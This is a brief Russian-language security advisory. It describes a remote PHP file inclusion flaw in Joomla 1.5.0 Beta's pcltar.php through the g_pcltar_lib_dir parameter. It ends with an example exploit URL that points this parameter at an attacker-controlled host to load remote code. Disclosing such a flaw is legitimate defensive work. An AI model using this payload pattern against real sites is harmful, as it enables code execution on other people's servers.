Программа: Joomla 1.5.0 Beta
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «g_pcltar_lib_dir» сценарием pcltar.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
